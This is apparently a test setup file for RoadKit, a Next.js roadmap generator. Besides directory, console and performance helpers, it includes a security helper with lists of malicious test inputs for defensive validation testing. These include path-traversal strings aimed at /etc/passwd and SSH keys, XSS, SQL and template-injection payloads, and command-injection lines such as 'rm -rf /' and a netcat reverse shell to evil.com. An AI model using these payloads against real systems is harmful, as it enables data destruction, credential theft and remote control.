roadkit
Version:
Beautiful Next.js roadmap website generator with full-screen kanban boards, dark/light mode, and static export
359 lines (312 loc) • 9.74 kB
text/typescript
/**
* Test Setup and Configuration
*
* This file sets up the test environment and provides shared utilities
* for the RoadKit test suite.
*/
import { beforeAll, afterAll } from 'bun:test';
import { join, resolve } from 'path';
import { existsSync } from 'fs';
import { mkdir, rm } from 'fs/promises';
// Global test directories
export const TEST_ROOT_DIR = resolve(__dirname, '../../test-temp');
export const TEST_LOGS_DIR = join(TEST_ROOT_DIR, 'logs');
export const TEST_TEMPLATES_DIR = join(TEST_ROOT_DIR, 'templates');
export const TEST_OUTPUT_DIR = join(TEST_ROOT_DIR, 'output');
/**
* Test environment configuration
*/
export const TEST_CONFIG = {
// Disable process.exit during tests
preventExit: true,
// Test timeout settings
timeout: {
unit: 5000, // 5 seconds for unit tests
integration: 30000, // 30 seconds for integration tests
security: 10000 // 10 seconds for security tests
},
// Security test settings
security: {
enableAuditLogging: true,
testMaliciousInputs: true,
validateAllOutputs: true
},
// Performance test settings
performance: {
maxMemoryUsage: 100 * 1024 * 1024, // 100MB
maxExecutionTime: 30000 // 30 seconds
}
} as const;
/**
* Global test setup - runs before all tests
*/
beforeAll(async () => {
console.log('🧪 Setting up RoadKit test environment...');
// Create test directories
if (existsSync(TEST_ROOT_DIR)) {
await rm(TEST_ROOT_DIR, { recursive: true, force: true });
}
await mkdir(TEST_ROOT_DIR, { recursive: true });
await mkdir(TEST_LOGS_DIR, { recursive: true });
await mkdir(TEST_TEMPLATES_DIR, { recursive: true });
await mkdir(TEST_OUTPUT_DIR, { recursive: true });
// Set up environment variables for testing
process.env.NODE_ENV = 'test';
process.env.ROADKIT_LOG_LEVEL = 'debug';
process.env.ROADKIT_ENABLE_SECURITY_LOGGING = 'true';
// Override process.exit to prevent test suite termination
const originalExit = process.exit;
process.exit = ((code?: number) => {
if (TEST_CONFIG.preventExit) {
console.warn(`⚠️ process.exit(${code}) was called but prevented during testing`);
return originalExit as any;
}
return originalExit(code);
}) as any;
console.log('✅ Test environment setup complete');
});
/**
* Global test cleanup - runs after all tests
*/
afterAll(async () => {
console.log('🧹 Cleaning up test environment...');
// Clean up test directories
if (existsSync(TEST_ROOT_DIR)) {
await rm(TEST_ROOT_DIR, { recursive: true, force: true });
}
// Reset environment
delete process.env.ROADKIT_LOG_LEVEL;
delete process.env.ROADKIT_ENABLE_SECURITY_LOGGING;
console.log('✅ Test cleanup complete');
});
/**
* Utility function to create a temporary test directory
*/
export async function createTempTestDir(name: string): Promise<string> {
const tempDir = join(TEST_ROOT_DIR, 'temp', name);
await mkdir(tempDir, { recursive: true });
return tempDir;
}
/**
* Utility function to clean up a temporary test directory
*/
export async function cleanupTempTestDir(path: string): Promise<void> {
if (existsSync(path)) {
await rm(path, { recursive: true, force: true });
}
}
/**
* Mock console to capture output during tests
*/
export function mockConsole() {
const logs: string[] = [];
const errors: string[] = [];
const warnings: string[] = [];
const originalLog = console.log;
const originalError = console.error;
const originalWarn = console.warn;
console.log = (...args: any[]) => {
logs.push(args.map(arg => String(arg)).join(' '));
};
console.error = (...args: any[]) => {
errors.push(args.map(arg => String(arg)).join(' '));
};
console.warn = (...args: any[]) => {
warnings.push(args.map(arg => String(arg)).join(' '));
};
return {
logs,
errors,
warnings,
restore: () => {
console.log = originalLog;
console.error = originalError;
console.warn = originalWarn;
}
};
}
/**
* Utility to measure execution time
*/
export function measureTime<T>(fn: () => Promise<T>): Promise<{ result: T; duration: number }> {
return new Promise(async (resolve, reject) => {
const start = Date.now();
try {
const result = await fn();
const duration = Date.now() - start;
resolve({ result, duration });
} catch (error) {
const duration = Date.now() - start;
reject({ error, duration });
}
});
}
/**
* Utility to check memory usage
*/
export function getMemoryUsage() {
const usage = process.memoryUsage();
return {
rss: usage.rss,
heapTotal: usage.heapTotal,
heapUsed: usage.heapUsed,
external: usage.external,
arrayBuffers: usage.arrayBuffers
};
}
/**
* Security test helpers
*/
export const SecurityTestHelpers = {
/**
* Generates various malicious input patterns for testing
*/
getMaliciousInputs(): Record<string, string[]> {
return {
pathTraversal: [
'../../../etc/passwd',
'..\\..\\windows\\system32',
'/etc/passwd',
'C:\\Windows\\System32',
'../../.ssh/id_rsa',
'../../../root/.bashrc',
'node_modules/../../../etc/shadow',
'.git/../../../sensitive-file',
'templates/../../../secret.key',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', // URL encoded
'....//....//....//etc//passwd', // Double dot slash
'..;/..;/..;/etc/passwd', // Semicolon bypass
],
codeInjection: [
'<script>alert("xss")</script>',
'javascript:alert(1)',
'${process.exit(1)}',
'`rm -rf /`',
'eval("console.log(process.env)")',
'${require("fs").readFileSync("/etc/passwd")}',
'{{constructor.constructor("return process")().exit()}}',
'<%- global.process.mainModule.require("child_process").exec("rm -rf /") %>',
'${7*7}', // Template literal injection
'#{7*7}', // Ruby-style injection
'{{7*7}}', // Handlebars injection
'<%= 7*7 %>', // ERB injection
'${__dirname}', // Node.js path injection
'${process.cwd()}', // Process working directory
],
sqlInjection: [
"' OR '1'='1",
"'; DROP TABLE users; --",
"' UNION SELECT * FROM passwords --",
"admin'--",
"' OR 1=1#",
"1' OR '1'='1' --",
"1' UNION ALL SELECT NULL,NULL,NULL--",
],
commandInjection: [
'; ls -la',
'| cat /etc/passwd',
'&& rm -rf /',
'`whoami`',
'$(whoami)',
'; curl evil.com',
'| nc -e /bin/sh evil.com 1234',
'; python -c "import os; os.system(\'ls\')"',
],
bufferOverflow: [
'A'.repeat(10000),
'A'.repeat(100000),
'A'.repeat(1000000),
'\x41'.repeat(1000),
Buffer.alloc(10000, 'A').toString(),
],
nullBytes: [
'test\0file',
'project\0\0name',
'/path/to/file\0.txt',
'name\x00.exe',
'file\0\0\0.txt',
],
unicodeAttacks: [
'../../etc/passwd', // Regular
'\u002e\u002e\u002f\u002e\u002e\u002f\u002e\u002e\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064', // Unicode
'..%c0%af..%c0%af..%c0%afetc%c0%afpasswd', // Overlong UTF-8
'..%252f..%252f..%252fetc%252fpasswd', // Double URL encoding
]
};
},
/**
* Validates that a string doesn't contain dangerous patterns
*/
validateSafeString(input: string): { safe: boolean; violations: string[] } {
const violations: string[] = [];
// Check for script tags
if (/<script/i.test(input)) {
violations.push('Contains script tags');
}
// Check for javascript protocol
if (/javascript:/i.test(input)) {
violations.push('Contains javascript protocol');
}
// Check for eval/function calls
if (/\b(eval|Function|setTimeout|setInterval)\s*\(/i.test(input)) {
violations.push('Contains dangerous function calls');
}
// Check for template injection
if (/\$\{|\{\{|<%=|#\{/.test(input)) {
violations.push('Contains template injection patterns');
}
// Check for null bytes
if (/\0/.test(input)) {
violations.push('Contains null bytes');
}
// Check for path traversal
if (/(\.\.\/|\.\.\\|\.\.\/)/.test(input)) {
violations.push('Contains path traversal patterns');
}
return {
safe: violations.length === 0,
violations
};
}
};
/**
* Performance test helpers
*/
export const PerformanceTestHelpers = {
/**
* Runs a function and validates it completes within time and memory limits
*/
async validatePerformance<T>(
fn: () => Promise<T>,
maxTime: number = TEST_CONFIG.performance.maxExecutionTime,
maxMemory: number = TEST_CONFIG.performance.maxMemoryUsage
): Promise<{ result: T; duration: number; memoryUsed: number; withinLimits: boolean }> {
const initialMemory = getMemoryUsage();
const start = Date.now();
const result = await fn();
const duration = Date.now() - start;
const finalMemory = getMemoryUsage();
const memoryUsed = finalMemory.heapUsed - initialMemory.heapUsed;
const withinLimits = duration <= maxTime && memoryUsed <= maxMemory;
return {
result,
duration,
memoryUsed,
withinLimits
};
}
};
export default {
TEST_CONFIG,
TEST_ROOT_DIR,
TEST_LOGS_DIR,
TEST_TEMPLATES_DIR,
TEST_OUTPUT_DIR,
SecurityTestHelpers,
PerformanceTestHelpers,
createTempTestDir,
cleanupTempTestDir,
mockConsole,
measureTime,
getMemoryUsage
};